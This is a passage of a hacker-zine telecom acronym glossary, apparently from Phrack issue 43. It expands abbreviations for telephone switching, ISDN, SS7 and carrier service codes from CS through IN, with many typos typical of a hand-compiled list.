CSACC Customer service administration control center
CSAR Centralized system for analysis and reporting
CSAR Centralized system for analysis reporting
CSC Cell site controller
CSD Circuit specific data
CSDC Circuit switched digital capability
CSDN Circuit-switched data network (t.70)
CSF Critical short form
CSMA/ Carrier sense multiple access
CSMCC Complex services maintenance control center
CSNET Computer science network
CSO Central services organization
CSO Cold start only (in eoc)
CSP Coin sent paid
CSP Coin set paid
CSPDN Circuit-switched public data network
CSR Clock shift register
CSR Customer service records
CSS Computer sub-system
CSS Computer subsystem
CSS Customer service system
CSSC Customer service system center
CST Call state or current state or change state (QUASI SDL)
CST Combined services terminal
CSU Channel service unit
CSUS Centralized automatic message accounting suspension (NTI)
CT Call transfer (i.252 a)
CT Control terminal
CT SSN tie trunk INTER/TRA blocal 1-26
CT01 Manually requested trace line to line information
follows - 1AESS
CT02 Manually requested trace line to trunk information
follows - 1AESS
CT03 Intraoffice call placed to a number with CLID - 1AESS call trace
CT04 Interoffice call placed to a number with CLID - 1AESS call trace
CT05 Call placed to number on the ci list - 1AESS call trace
CT06 Contents of the CI list - 1AESS call trace
CT07 ACD related trace - 1AESS call trace
CTC Central test center
CTC Centralized test center (DDS)
CTC Centralized testing center
CTC Complete a cable transfer or complete a cable throw
CTD Circuit test data
CTE Cable throw order establishment
CTF Display the contacter-transducer file
CTI Circuit termination identification
CTL Cable throw with line equipment assignment
CTL Central operator control
CTM Cable throw modification
CTM Contac trunk module
CTMC Communications terminal module controller
CTMS Carrier transmission measuring system
CTO Call transfer outside
CTO Continuity timeout (incoming)
CTP Print cable transfer frame work
CTR Cable throw replacement
CTS Cable throw summary
CTS Call through simulator
CTS Clear to send
CTSS Cray time sharing system
CTT Cartridge tape transport
CTT Cut through tag
CTTC Cartridge tape transport controller
CTTN Cable trunk ticket number
CTTU Central trunk testing unit.
CTU Channel test unit
CTW Withdraw a cable transfer or a cable throw
CTX Centrex group number
CTX Various centrix verifies
CU Channel unit
CU Channel unit
CU Control unit
CU Customer unit
CU/EQ Common update/equipment system
CU/TK Common update/trunking system
CUCRIT Capital utilization criteria
CUG Closed user group (i.255 a)
CUP Common update processor
CUSTAT Control unit hardware status
CUT Circuit under test
CUTOVER Cutover (pre-cut) inactive state.
CV OCC voice grade facility INTER/TRA blocal 1-26
CVN Vacant national number received (outgoing)
CVR Compass voice response
CW Call waiting (i.253 a)
CW OCC wire pair facility INTER/TRA blocal 1-26
CWC City-wide centrex
CWD Call waiting deluxe
CXC Complex service order input checker
CXM Centrex table management
CXT Complex order inquiry for nac review
CZ OCC access facility INTER/TRA blocal 1-26
CorNet Corporate network protocol (ECMA and CCITT q.930/931 oriented)
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 22 of 27
{Acronyms Part II}
D Data
D Default supervision
D Digits
D Dispach
D Hotel/motel equipment from trouble report (TSPS only)
D-CTL D channel controller (IDEC)
D/A Digital to analog
D1PK DS-1 interface pack (SCM-10S NTI)
D1PK DS-1 interface pack (SCM-10S MUX NTI)
DA Digital data off-net extention INTER/TRA blocal 1-26
DA Directory assistance
DAC Digital to analog converter
DAC Dispatch Administration Center
DACC Directort assistance call completion
DACK Direct memory access acknowledge
DACOM Data communictions corp. of korea (ROK)
DACS Digital access cross-connect system
DACS Digital accessed and cross-connected system
DACS Directory assistance charging system
DACTVTD Deactivated
DAEDR Delimitation
DAIS Distributed automatic intercept system
DAML Digital added main line (pair gain)
DAMT Direct access mechanize testing
DAP Display administration process
DAP Document application profile
DARC Division alarm recording center
DART Distribution area rehabilitation
DARU Distributed automatic intercept system audio response unit
DAS Data auxiliary set
DAS Directory assistance system
DAS Distributor and scanner
DAS-WDT Distributor and scanner-watch dog timer
DAS/C Directory assistance system/computer
DASD Direct access storage device
DASS2 Digital access signaling system 2 (BT)
DAU Digital access unit
DAV Data above voice
DAY Delete an assembly
DB DSSDS 1.5 mb/s access line INTER/TRA blocal 1-26
DB Decibel
DBA Data base administrator
DBAC Data base administration center
DBAS Data base administration system
DBCS Data bank control system
DBL Data base load
DBM Database manager
DBMS Data base management system
DBOS Data bank organization system
DBS Duplex bus selector
DBSS Data bank security system
DC Device cinfirmation (C/I channel code)
DC Dial code
DC Direct current
DCC Data collection computer
DCC Data country code (ISO 7498)
DCC Destination code cancellation
DCC Destination code cancellation control
DCC Digroup core controller
DCCS Discontiguous shared segments
DCD Data collection device
DCE Data circuit terminal equipment
DCE Data circuit-terminating equipment
DCE Data communications equipment
DCE Digital carrier equipment
DCG Default cell group
DCH D channel handler
DCH D-channel handling bit
DCH Discharge
DCHOOS D-channel is out of service.
DCL Data clock (i.e. IOM2)
DCL Dec control language
DCLU Digital carrier line uint
DCLU Digital carrier line unit
DCM Digital carrier module
DCME Digital circuit multiplexing equipment
DCMS Distributed call measurement system
DCMU Digital concentrator measurement unit
DCN List disconnected and changed numbers
DCP D channel processor
DCP Duplex central processor
DCPR Detailed contuing property record (pics/dcpr)
DCPSK Differential coherent phase-shift keying
DCS Data communications subsystem
DCS Digital crosconnect system
DCS Digital cross-connect system
DCS Direct current signaling
DCSO Display compleated service order (lmos command)
DCT Digital carrier trunk
DCTB Dct bank
DCTEXT DCT extended
DCTN Defense commercial telecommunications network
DCTS Dimension custom telephone service
DCTUCOM Directly connected test unit common board
DCTUPORT Directly connected test unit port circuit
DCn Device control n
DD Data downstream (i.e. IOM2)
DD Delay dial
DD Disk drives
DD Due date
DD Total switching control center (SCC) and field work time.
DDC Direct department calling
DDCMP Daily display conversation mode and printer
DDD Direct distance dialing
DDGT Digital data group terminal
DDI Direct dialing-in (i.251 A)
DDN Defense data network
DDOV Digital data over voice
DDS DDS loopback test (SARTS command)
DDS Dataphone digital service
DDS Digital data service
DDS Digital data system
DDS Digital data system (the network) dataphone digital
DDS Digital dataphone service
DDS Display the DS table
DDX Digital data exchange
DDX Distributed data exchange
DEAC Deactivation (C/I channel code)
DEACT Deactivate
DEC Digital equipment corporation
DECT Digital european cellular phone
DEL Delete
DEN Digital equipment number
DERP Defective equipment replacement program
DES Data encryption standard
DES Destination
DEST Destinations
DET Detatch MSG. (i.451)
DEV Deviation
DEV Device
DEW Distant early warning (line)
DF Distributing frame
DF Distribution frame
DF HSSDS 1.5 mb/s hub to hub INTER/TRA blocal 1-26
DFC Disk file controller
DFI Digital facility interface
DFI Digital facility interface.
DFI Digital family interface
DFIH Digital facility interface circuit pair
DFMS Digital facility management system
DFTAC Distributing frame test access circuit
DG HSSDS 1.5 mb/s hub to earth station INTER/TRA blocal 1-26
DGCT Diagnostic control table
DGN Diagnose
DGN Memory failure in CS/PS diagnostic program - 1AESS mem diag
DH Digital service INTER/TRA blocal 1-26
DI Deactivation indication (C/I channel code)
DI Direct-in dial INTER/TRA blocal 1-26
DI Unk division?
DIA Document interchange architecture
DIAG Diagnostic
DIC Digital concentrator
DIC Digital interface controller
DID DI downstream
DID Direct inward dialing
DIF Digital frame interface
DIF Digital interface
DIF Digital interface frame
DIFF Difference
DILEP Digital line engineering program
DIM Data in the middle
DIP Dedicated inside plant COSMOS command
DIP Dip creation option
DIP Document interchange protocol (lower sublayer of OSI layer 6)
DIP Dual in-line package
DIR Direction
DIR Directory
DIR Standard dip report
DIS Disconnect
DIS Display
DISA Direct inward system access
DISABL Disable
DISC Disconnect (LAP-D command)
DISD Direct inward subscriber access
DIST Distribute point board
DIU Deactivate indication
DIU Digital interface unit
DIU Digroup interface unit (DACS)
DIV (Ger) Digital exchange
DIVF (Ger) Div for long distance service
DIVO (Ger) Div for local service
DJ Digit trunk INTER/TRA blocal 1-26
DK Data link INTER/TRA blocal 1-26
DL Dial
DL Dictation line INTER/TRA blocal 1-26
DL1PE DLI 1 parity error
DL5MDA Someone who collects each ISDN abbrevation crossing his way
DLAB Divisor latch access bit
DLC Data link control
DLC Data link controller assignment for clusters
DLC Digital loop carrier
DLCI Data link connection identifier (i.440: SAPI+TEI)
DLCU Digital line carrier unit
DLE Data link escape (ascii control)
DLI Data link interface
DLI0I Data link 0 interrupt
DLI1I Data link 1 interrupt
DLISW DLI switch error
DLL Dial long lines
DLM Data link module
DLN Direct link node
DLNORSP Init response not received from data link.
DLOPE Dual link interface (DLI) 0 parity error
DLP Data level point
DLS Digital line section
DLS Digital link service
DLTHA Display trouble history all (LMOS command)
DLTU Digital line trunk unit
DLTU Digital line/trunk unit
DLU-PG Digital line unit-pair gain
DLUC Digital line unit control
DLYR Delayed readiness
DM DMR
DM Delta modulation
DM Disconnected mode (LAP-D response)
DMA Direct memory access
DMB Digital multipoint bridge
DMERT Duplex multiple environment real time
DMI Digital multiplexed interface
DML Data manipulation logic
DMLHG DSN/AUTOVON MLHG
DMQ Deferred maintenance queue
DMS Data management system
DMS Digital multiplex system (i.e. DMS 10, DMS 100)
DMS Digital multiplexed system
DMU Data manipulation unit
DN Directory number
DN Directory numbers
DN Distribution network panel
DN Down
DN Mail distribution frame - COSMOS defult
DNC Dynamic network controller
DNH Directory Number Hunting
DNHR Dynamic non hierarchical routing
DNHR Dynamic nonhierarchical routing
DNI Digital network interconnecting
DNIC Data network identification code
DNIC Data network identification code (ISO 7498)
DNR Detaled number record
DNR Dialed number recorder
DNX Dynamic network X-connect
DO Direct-out dial INTER/TRA blocal 1-26
DOC Dynamic overload control
DOC Dynamic overload controls messages.
DOCS Display operator console system
DOD (USA) Dept. of defense
DOJ Department of justice
DOM Data on master group
DOTS Digital office timing supply
DOV Data over voice
DP Demarcation point
DP Dial pulse
DP Digital data-2 4 kb/s INTER/TRA blocal 1-26
DPA Different premises address
DPA Dispatch
DPA Distributed power architecture
DPAC Dedicated plant assignment card
DPAC Dedicated plant assignment center
DPC Destination point code (SSY)
DPCM Differential PCM
DPE Data path extender
DPGS Digital pair gain systems
DPIDB Direct PIDB
DPIDB Directly connected peripheral interface data bus
DPLL Digital phase locked loop
DPN Dip purge number
DPN-PH Data packet network-packet handler
DPNSS Digital private network signaling system (BT)
DPP Discounted payback period
DPP Distributed processing peripheral
DPR Dip report and removal
DPSK Differential phase shift keying
DPSK Differential phased-shift keying
DPT Data parameter testing
DPT Department name
DPU Digital patch unit
DQ Digital data-4 8 kb/s INTER/TRA blocal 1-26
DQR Design quota system report
DQS Design quota system
DR Data ready
DR Data receive
DR Deactivate request (C/I channel code)
DR Deactivation request
DR Digital data-9.6 kb/s INTER/TRA blocal 1-26
DRAM Digital record announcement machine
DRAM Dynamic ram
DRCS Dynamically redefinable character sets
DRHR Division of revenue hourly
DRMU Digital remote measurement unit
DRTLRT Dial repe tie lindal repeatie t
DRU DACS remote unit
DS Data set
DS Digital carrier span
DS Digital signal
DS Direct signal
DS-0 Digital signal 0 (one channel at 64 kb/s)
DS-0A Digital signal at a subrate level on DS-0 for one customer
DS-0B Digital signals at a subrate level on DS-0 facility for one
or more CU
DS-1 Digital signal level one
DS0 Digital signal zer0
DSBAM Double-sideband amplitude module
DSBLD Disabled (default).
DSC Digital cross-connection systems
DSC Digital subscriber controller AM79C3A
DSCT Digital service copper transport
DSDC Direct service dial capability
DSI Digital speech interpolation
DSIG Direct signaling
DSK Disk
DSL Digital subscriber line
DSL Digital suscriber line
DSLG digital subscriber line group (DSLG)
DSLINIT DSL initialization.
DSM Digital switching module
DSMX (Ger) Digital signal multiplexer
DSN Defense switched network/automatic voice network
DSN Digital signal (level) n
DSNE Double shelf network equipment frame
DSNOFC DSN/AUTOVON office totals
DSNTG DSN/AUTOVON trunk group
DSP Digital signal processing
DSP Digital signal processing or digital signal processor
DSP Digital signal processor
DSP Domain specific part (ISO 7498)
DSR Data set ready
DSR Display results
DSR Dynamic service register
DSRTP Digital service remote test port
DSS Data station selector
DST Destination of order response
DSU Data service unit
DSU Data servicing unit
DSU Digital service unit
DSU2 Diditalservice unit
DSX Digital cross-connect
DSX Digital signal cross-connect
DT DI-group terminal
DT Data through (C/I channel code in test mode)
DT Data transmit
DT Detect dial tone
DT Due time
DT1 Data form class 1
DTAC Digital access connector
DTAC Digital test access connector
DTAC Digital test access connector (links SMAS and SLC-96)
DTAM Document transfer access and manipulation
DTAS Digital test access system
DTAU Digital test access unit
DTC Data test center
DTC Di-group terminal controller
DTC Digital telephone controller (ARCOFI + IBC + ICC)
DTC Digital trunk controller
DTE Data terminal equipment
DTE Print current date
DTF Dial tone first (pay phone)
DTG Direct trunk group
DTIF Digital transmission interface frame
DTM Data test module
DTM Digital trunk module
DTMF Dual-tone multifrequency
DTR Data terminal ready
DTRK Digital Trunks
DTRK Digital trunks (line and trunk)
DTU Di-group terminal unit
DTU Digital test unit
DU Data upstream (i.e. IOM2)
DU Deactivation request upstream (C/I channel code)
DUIH Direct user interface handler
DUP Data user part
DUP Duplicate
DUR Duration
DUV Data under voice
DVA Design verified and assigned
DVX Digital voice exchange
DW Digital data-56 kb/s INTER/TRA blocal 1-26
DX Duplex
DY Digital service (under 1 mb/s) INTER/TRA blocal 1-26
DYRECT Sides dynamic real time communication tester (in sitest)
E E (receive) signal lead (moreover Ear part of E&M)
E Equipment direction
E Remote trunk arrangement position subsystem (rta/pss) from troubl
E&M Receive & transmit/ear & mouth signaling
E-COM Electronic computer originated mail
E1 Equipment system
E800 Enhanced 800 Service
E911 Enhanced 911
EA Equal access end office
EA Expedited data acknowledgement (SS7: in SCCP)
EA Extended adress
EA Switched acess INTER/TRA blocal 1-26
EAAT Equal access alternative technologies
EADAS Engineering and administration data acquisition system
EADAS/NM EADAS/network management
EAEO Equial access end office
EAI Emergency action interface
EAP Equal access plan
EARN European academic research network
EAS Extended announcement system
EAS Extended area service
EASD Equal access service date
EB Enfia ii end office trunk INTER/TRA blocal 1-26
EBAC Equipmentc billing accuracy control
EBCDIC Extended binary coded decimal interexchange code
EBSP EBS prefix translations
EBSP Enhanced business services prefix translations
EC ESS entity and control group number
EC Echo canceller
EC Enfia ii tandem trunk INTER/TRA blocal 1-26
EC Environment code
EC European community
EC Exchange carriers
ECAP Electronic customer access program
ECC Enter cable change
ECCS Economic c (hundred) call seconds
ECD Equipment configuration database
ECDMAN Equipment configuration database manager
ECF Enhanced connectivity facility
ECL Emitter coupled logic
ECMA European computer manufactueres association
ECPT Electronic coin public telephone
ECR Exchange carrier relations
ECS Electronic crosconnect system
ECS Equipment class of service
ED Enter date
EDAC Electromechanical digital adapter circuit
EDD Envelope delay distortion
EDI Electronic data interchange
EDP Electronic data processing
EDSC Electronic directory customer counts (ISDN BRCS)
EDSX Electronic digital signal x-connect
EDZ Facility emergency assignment list
EE Combined access INTER/TRA blocal 1-26
EE Initials of supervisor reviewing this ticket.
EEC Electronic equipment cabinet
EECT End-to-end call trace
EEDP Expanded electronic tandem switching dialing plan
EEE Electronic equipment enclosures
EEHO Either end hop off
EEI Equipment-to-equipment interface
EEPROM Electrically erasable programmable read only memory
EF Entrance facility-voice grade INTER/TRA blocal 1-26
EFCTS Electronic custom telephone service
EFRAP Exchange feeder route analysis program
EG Type #2 telegraph INTER/TRA blocal 1-26
EIA Electronic industries association
EIS Expanded inband signaling
EISS Economic impact study system
EIU Extended interface unit
EIn Error indication n (C/I channel code)
EKTS Electonic key telephone service
EKTS Electronic key telephone sets
EL Emergency reporting line INTER/TRA blocal 1-26
ELA Entity load analysis
ELDS Exchange line data service
ELECL Electrical
ELEMNTS Elements
ELI Electrical line interface
EM Emergency reporting center trunk INTER/TRA blocal 1-26
EM Encription module
EM End of medium (ASCII control)
EMC Electromagnetic capability
EMC Electromagnetic compatibility
EME Electromagnetic emission
EMI Electromagnetic interference
EML Expected measured loss
EMM Expandable mos memory
EMS Electromagnetic susceptibility
EMS Expanded memory specification
EMSCC Electromechanical switching control center
EMV EMC (german)
EN Entity
EN Entity number
EN Exchange network acess facility INTER/TRA blocal 1-26
ENABL Enable
ENFIA Exchange network facility for interstate access
ENHMT Enhancement
ENQ Enquiry
ENTDT Entered date and/or time
EO End office
EOC Embedded operation channel
EOE Electronic order exchange
EOM End of message
EOS Extended operating system
EOTT End office toll trunking
EP Entrance facility-program grade INTER/TRA blocal 1-26
EP Expedited data (SS7: in SCCP)
EPIC Extended PIC
EPL Electronic switching system program language
EPROM Erasable programmable read-only memory
EPSCS Enhanced private switched communication service
EQ Equalizer
EQ Equipment only-(network only) assignment INTER/TRA blocal 1-26
EQPT Equipment
ER Enhancement request
ER Error register
ER Exception report
ERAR Error return address register
ERC Error control (IOS)
EREP Environmental recording editing and printing
ERF Emergency restoration facility
ERL Echo return loss
ERP Effective radiated power
ERPMP Exception report pumper
ERR Error
ERRS Errors
ERTS Error rate test set
ERTS Error rate test sets
ERU Error return address update
ES Extension service-voice grade INTER/TRA blocal 1-26
ESAC Electronic systems assistance center
ESAP Emergency Stand-Alone prefix
ESAP Emergency stand-alone prefix
ESB Emergency service bureau
ESC Enhanced speech circuit
ESC Escape (ASCII control)
ESC Three way calling USOC
ESCC2 Extended high level serial communication controller
ESCC8 Like ESCC2
ESD Electrostatic discharge
ESD Extened super framing
ESF Extended super frame
ESF Speed calling USOC
ESFF Extended superframe format
ESL Emergency stand-alone
ESL Essental service
ESL Speed calling 8 code USOC
ESM Call forwarding USOC
ESM Economic study module
ESMTC Electronic system maintance
ESN Electronic serial number (Cell)
ESN Electronic switched network
ESN Emergency service number
ESP Enhanced service procider
ESP Enhanced service providers
ESP Essential service protection
ESP Print entire summary table
ESS Electronic switching system
ESSX Electronic switching systen exchange
EST Established
ESTAB Establish
ESX Call waiting USOC
ET Entrance facility-telegraph grade INTER/TRA blocal 1-26
ET Exchange termination
ETAS Emergency technical assistance
ETB End of transmission block
ETC Estimated trunk ccs value
ETF Electronic toll fraud
ETL Equipment test list
ETN Electronic tandem network
ETRI Electronics and telecommunications research institute (ROK)
ETS Electronic tandem switching
ETS Electronic translation systems
ETSACI Electronic tandem switching adminstration channel interface
ETSSP ETS status panel
ETX End of text
EU End user
EU Extension service-telegrasph grade INTER/TRA blocal 1-26
EUPOT End user-point of termination
EV Enhanced emergency reporting trunk INTER/TRA blocal 1-26
EV Expected value
EVB Busy call forward USOC
EVC Bust call forward extended USOC
EVD Delayed call forward USOC
EVD Delayed call forwarding
EVST (Ger) End exchange
EW Off network MTS/WATS equivalent service INTER/TRA blocal 1-26
EWSD (Ger) Electronic dialing system (digital)
EX Exercise
EXD ECS crossloading option
EXD Extra digit
EXD Extra digit (MDII)
EXP Extra pulse
EXP Extra pulse (MDII)
EXT Extension
EXTC Expenditure type code
F Facility direction
F Fault (indicator)
F Office or base unit from trouble report.
F1 Facility system
FA Frame aligner
FA Fuse alarm
FAA Facility accepted (SS7 in ISUP)
FAC Facility
FAC Facility Assiment Center
FACD Facility changed msg.
FACS Facilities assignment and control system
FADS Dorce administration
FANALM Fan alarm
FAP Facilities analysis plan
FAR Facility request (SS7: in ISUP)
FAR Federal acquisition regulation
FAS Frame alignment signal
FAST First application system test
FAT File allocation table
FAX Faximile
FC Feature control
FC Frame control
FC From cable
FC/EC Function code and environment code
FCA Final closure abandon (MDII)
FCAP Facility capacity
FCC Federal communications commission
FCC Forward command channel
FCC Frame control center
FCD Frame comtinuity date
FCG False cross or ground
FCS File control systemction
FCS Frame check sequence
FD Private line-data INTER/TRA blocal 1-26
FDD Frame due date
FDDI Fiber distributed data interface (x3t9.5)
FDI Feeder/distribution interfaces
FDM Frequency division multiplex
FDM Frequency-division multiplexing
FDMA FDM access
FDP Field development program
FDT Frame due time
FDX Full duplex
FDY Set fiscal day for LAC
FEA Custom calling feature/PIC
FEA Customer feature
FEAT Feature
FEAT Features
FEBE Far end block error (IOM2 monitor message)
FEC Forward error correction
FECC Front end communication computer
FED Far end data
FELP Far end loop process
FEMF Foreign electro-motive force
FEPS Facility and equipment planning system
FEV Far end voice
FF Check appropriate space where trouble is located
FF Form feed
FG Group-supergroup spectrum INTER/TRA blocal 1-26
FGA Feature group A
FGB Feature group B
FGC Feature group C
FGD Feature group D
FGE Feature group E
FGK Feature group K (ISDN Q.931)
FIB Forward indication bit (SS7)
FID Field indentifiers
FIFO First in
FIFO First in first out (storage)
FIL Filter
FIN Facility information msg.
FIOC Frame input/output controller
FIP Facility interface processor
FIPS Federal information processing standards
FISU Fill in signal unit (SS7)
FITL Fiber in the loop
FJ Frame jump (C/I channel code)
FKP False key pulse
FKP False key pulse (MDII)
FL Fault locate
FL Fault location
FLA Flag
FLD Field
FLEXCOM Fiber optic communication
FLR Frame layout report
FLT Flat
FM Frequency modulation
FM01 DCT alarm activated or retired - 1AESS
FM02 Possible failure of entire bank not just frame - 1A
FM03 Error rate of specified digroup - 1AESS
FM04 Digroup out of frame more than indicated - 1AESS
FM05 Operation or release of the loop terminal relay-1AESS
FM06 Result of digroup circuit diagnostics -1AESS
FM07 Carrier group alarm status of specific group - 1AESS
FM08 Carrier group alarm count for digroup - 1AESS
FM09 Hourly report of carrier group alarms - 1AESS
FM10 Public switched digital capacity failure - 1AESS
FM11 PUC counts of carrier group errors - 1AESS
FMAC Facility maintance administration center
FMAC Facility maintenance and control
FMC Force management center
FMM Finite message machine
FN Feature number
FN File name
FNBE Far and near end block error (IOM2 monitor message)
FNPA Foreign numbering plan area
FOA First office application
FOC Fiber optic communications
FON Fiber optics network
FOR Frame order report
FORPOT Foreign potential.
FOS Frame operations summary
FOS-ALC Fiber optic systems maintance - Alcatel
FOS-ROCK Fiber optic system maintance - Rockwell
FOT Forward transfer (SS7: in ISUP)
FP Functional protocol
FPC Foundation peripheral controller
FPC Frequency comparison pilots
FPS Fast packet switching
FR Fire dispatch INTER/TRA blocal 1-26
FR Fixed resistance
FR Flat rate
FRAC Frame aligner circuit
FRC Forced request configuration
FREQ Frequency
FRJ Facility rejected msg. (SS7 in ISUP)
FRMR Frame reject (LAP-D response)
FRPS Field reliability performance studies
FRQ Facility request message
FRS Flexible route selection
FS File separator
FS/SYM Function Schematic/Symbol Numbers (1AESS Test access)
FSA False start abandon
FSA False start abandon on incoming trunk
FSC Frame synchronization clock (i.e. IOM2)
FSK Frequency shift keying
FSN Forward sequence number
FT Foreign exchange trunk INTER/TRA blocal 1-26
FT Frame time
FTA Frame transfer analysis
FTC Frame transfer completion
FTE Frame transfer establishment
FTG Final trunk group
FTL Frame transfer lets
FTP File transfer protocol
FTR Frame transfer reprint
FTS Federal telecommunications system
FTW Frame transfer withdrawal
FUNCS Functions
FV Voice grade facility INTER/TRA blocal 1-26
FW Wideband channel INTER/TRA blocal 1-26
FWD Forward
FWM Frame work management
FWS Frame work station
FX Foreign exchange
FX Foreign exchange INTER/TRA blocal 1-26
FXO Foreign exchange circuit office direction
FXS Foreign exchange circuit station direction
G Spare box. use for special studies.
GAP (Ec) group of analysis and provision (for ONP)
GB Great britain
GBS Group bridging service
GC Group card
GCE Gated Oscillator Error
GCI General circuit interface (IOM/u(k0)-interface)
GCON Generic conditions
GCP Generate Control pulse
GCR General configuration register
GCS Group control system
GDSUCOM Global DSU common
GDSUCOM Global digital service unit common
GDX Gated diode crosspoint
GDXACC Gated diode crosspoint access
GDXC Gated diode crosspoint compensator
GDXCON Gated diode crosspoint control circuit
GEISCO General electric information services company
GFR General facility report
GG Getails of reported trouble.
GH Gain hit
GHZ Gigahertz
GID Group ID
GKCCR Generated key collection and compression routine
GLA Generate lists for assignment
GND Ground
GNS Gainslope
GNS Gainslope test (SARTS command)
GOC General order control (TIRKS)
GOS Grade of service
GP Group processor
GPA Gas pressure alarm
GPIB General purpose interface bus
GPPC General purpose power controller
GPS Global positioning system
GR General requirments (BellCoRe)
GRA GRS acknowledgement
GRASP Generic access package
GRD Ground fault.
GRD Ground.
GRID Line unit grid.
GRP Group
GRP MOD Group modulator
GRS Circuit group reset (SS7: in ISUP)
GS Ground start (on-hook normal)
GS Group separator
GSA General services administration
GSAT General telephone and electronics satellite corporation
GST Ground start signaling
GSZ Group size
GTC General telephone company
GTE General telephone electronics
GTEI Global tei
GTS Gamma transfer service
GTT Global title transmission
GWY Gateway
Ger German
H Hold state (in EOC)
H Hours
H Trouble ticket number. subparagraph 5.6.4.
H&D High and dry (trunk test)
H- High-
H-RAP Hardware reliability assurance program
HAC Hands-free add-on circuit (for speakerphone)
HBS Hunt group blocks of spares
HC High capacity 1.544 mb/ps-service code for LATA access
HC Hunt count
HCDS High capacity digital service
HCDS High-capacity digital services
HCFE High-capacity front end
HCSDS High-capacity satellite digital service
HCTDS High-capacity terrestrial digital service
HD High capacity 3.152 mb/ps-service code for LATA access
HDB3 High-density bipolar 3 (cept PRI)
HDFI HSM digital facilities interface
HDLC High level DLC
HDLC High-level data link control
HDSL High bit-rate digital subscriber line
HDTV High definition television (soon to be the new buzz word!!)
HDW Hardware
HDX Half duplex
HE High capacity 6.312 mb/ps-service code for LATA access
HEAP Home energy assistance program
HEHO High end hop off
HF High capacity 6.312-service code for LATA access
HF Hunt-from telephone number
HFCC High capacity facility control center
HFR Hardwara failure rate
HG High capacity 274.176 mb/s-service code for LATA access
HGBAF Hardware group blocking acknowledgment failure
HGR Hunt group report
HGS Hunt group summary
HGUAF Hardware group unblocking acknowledgment failure
HH History header
HH Record of repair activity.
HI High
HI High impedance (C/I channel code)
HI Highway interrupt
HIC Hybrid integrated circuit
HIM Host interface module
HIS Hunting ISH
HK Hook
HL IT Siemens semiconductors (hl)
HLC Highest lead factor group count
HLDG Holding
HLLAPI High level language application program interface
HLSC High-level service circuits
HM1 Intercom plus USOC
HMCL Host message class assignment
HMP Intercom plus
HNPA Home numbering plan area
HNS Hospitality network service
HOBIC Hotel billing information center
HOBIS Hotel billing information system
HOLD Call hold (i.253 b)
HP Hewlett-packard
HP Non-DDS digital data 2.4 kb/s INTER/TRA blocal 1-26
HPO High performance option
HQ Non-DDS digital data 4.8 kb/s INTER/TRA blocal 1-26
HR Hour
HR Non-DDS digital data 9.6 kb/s INTER/TRA blocal 1-26
HRS Hours prefix
HS High capacity subrate-service code for LATA access
HSCC High level serial communication controller sab82520
HSCX Extended hscc sab82525
HSM Host switching module
HSSDS High-speed switched digital service
HT Horizontal tabulator
HT Hunt-to telephone number
HTI Highway transfer interrupt
HU High usage
HU High-usage trunk
HUNT Hunting
HUTG High usage trunk group
HW High and wet.
HW High-and-wet
HW Non-DDS digital data 56 kb/s INTER/TRA blocal 1-26
HW Pcm highway
HZ Hertz
I Cable and pair or associated equipment
I Information (LAP-D command)
I Installation
I Invalid
I&I Investment and inventory
I&M Customer services installation and maintenance
I&M Installation & maintenance
I- Information (numbered i-frames)
I/O Ineffective other
I/O Input/output devices
I/O Tnput/output
I0 Feature removed
I1 Added feature
IA Immediate action
IA Ineffective attempts
IAA Ineffective attempt analysis.
IAAN Immediatel action report
IAC0 DLI 0 access error
IAC1 DLI 1 access error
IACS Intergrated access cross-connected system
IAD Incomplete address detected (incoming)
IAM Initial address msg. (SS7: in ISUP)
IB Instruction buffer
IBC ISDN burst transceiver circuit
IBN Integrated business network
IBROFC ISDN BRCS and Analog Office totals
IC Incoming call (x.25)
IC Independent carrier
IC Installation centers
IC Inter-LATA carrier
IC Inter-exchange carrier
IC Interexchange carriers
IC/MC Installation and maintence centers
ICA Incoming advance
ICA Incoming advance (MDII)
ICAN Individual circuit analysis
ICAO International civil aviation organization
ICC ISDN communications controller
ICC Interstate commerce commission
ICCU Inmate call control unit
ICD Interactive call distribution
ICL Intra-RSM communication link
ICLID Individual calling line id
ICM Integrated call management
ICN Interconnecting network
ICOM (taiwan) integrated communication
ICOT Intercity and outstate trunk
ICP Intercept
ICPOT Interexchange carrier-point of termination
ICSC Inter-LATA customer service center
ICSC Interexchange carrier service center
ICSC Interexchange customer service center
ICUG International closed user groups
ICUP Individual circuit usage and peg count
ICUR Individual circuit usage recorder
ID Idle control code
IDA (gb) interated digital access (b64+b8+d8)
IDC Information distribution companies
IDCI Interim defined central office interface
IDCU Integrated digital carrier unit
IDCU Integrated digital carrier unit .
IDCU Integrated digital carrier unit i.e. AT&T Series 5 RT FP 303G
IDDD International direct distance dialing
IDEC ISDN d-channel exchange controller
IDF Intermediate distributing frame
IDI Initial domain identifier (ISO 7498)
IDLC Integrated digital loop carrier
IDLC Intergrated digital loop carrier
IDP Individual dialing plan
IDPC Integrated data protocol controller
IDS Internal directory system
IDVC Integrated data/voice channel
IEC ISDN echo cancellation circuit
IEC Interexchange carrier
IEC International electrotechnical comission
IEC-P (old name of iec-q3)
IEC-Q1 Iec for 2b1q peb2091
IEC-Q2 Iec-q specially for lt and NT1 (without microprocessor)
IEC-Q3 Iec-q with parallel processor interface (i.e. for daml)
IEC-T Iec for 4b3t peb2090
IEEE Institute of electrical and electronics engineers
IEPC ISDN exchange power controller
IF Intermediate frequency
IFAC Integrated digital carrier unit facility
IFRB International frecuency registration board
IFRPS Intercity facility relief planning system
IFS (switzerland) integrated telecom service
IGS Idenitfy graphic subrepertoire (teletex)
IIN Integrated information network
IJR Input a jeopardy reason
ILC ISDN link controller
ILINE IDCU line counts.
IM Input mux
IM Interface module
IMA Additional ineffective machine attempts
IMAS Integrated mass announcement system
IMC IOS mailbox control
IMCAT Input message catalog
IMCF Interoffice multiple call forwarding
IMD Intermodulation distortion
IMM Input message manual
IMMU IOS memory management unit
IMP Impedance
IMP Impules per minute
IMP Interpersonal messaging protocol (x.420: p2)
IMS Interprocessor message switch
IMT Inter-machine trunk
IMTS Improved mobile telephone service
IMU Input measured ccs usage data
IN Intelligent network
IN/1 Intelligent network/1
INA Intergrated network access
INAP Intelligent network access point
INC Incoming trunk groups
INC International calling
INC International carrier
INC SEL Incoming selector
INCAS-A Integrated network cost analysis - access
INCAS-LT Integrated network cost analysis - local and toll
INCAS-S Integrated network cost analysis - shared
INCAS/E Integrated network cost analysis system
INCAS/I Integrated network cost analysis system - embedded
INCIS Integrated network cost information system
INCP Incomplete
IND Individual
INF Information
INF Information (SS7: in ISUP)
INIT Allocation table initalization
INL Inter node link
INN Inter node network
